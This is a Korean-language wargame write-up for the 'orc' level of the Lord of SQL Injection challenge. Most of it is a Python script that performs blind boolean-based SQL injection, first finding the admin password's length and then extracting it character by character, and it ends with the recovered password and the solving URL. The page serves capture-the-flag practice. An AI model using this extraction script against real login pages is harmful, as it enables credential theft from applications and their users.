> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/orc.md).

# orc

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-36fdQh2tfT0DGJXeE%2F-M-36j-fCVYVZ2eH3ceW%2Fimage.png?alt=media\&token=1a918756-99bb-4196-8090-ada207be08ad)

파이썬 코드를 짜면 아래와 같다.

```python
import requests

URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    params = {'pw': payload}
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL, params=params, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 8
def find_pw_length():
    pw_len = 1
    while query("' or id='admin' and length(pw)={}#".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# 095a9852
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("' or id='admin' and ascii(substr(pw,{},1))={}#".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `095a9852` 이다.

<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852> 에 접속하면 문제가 풀린다.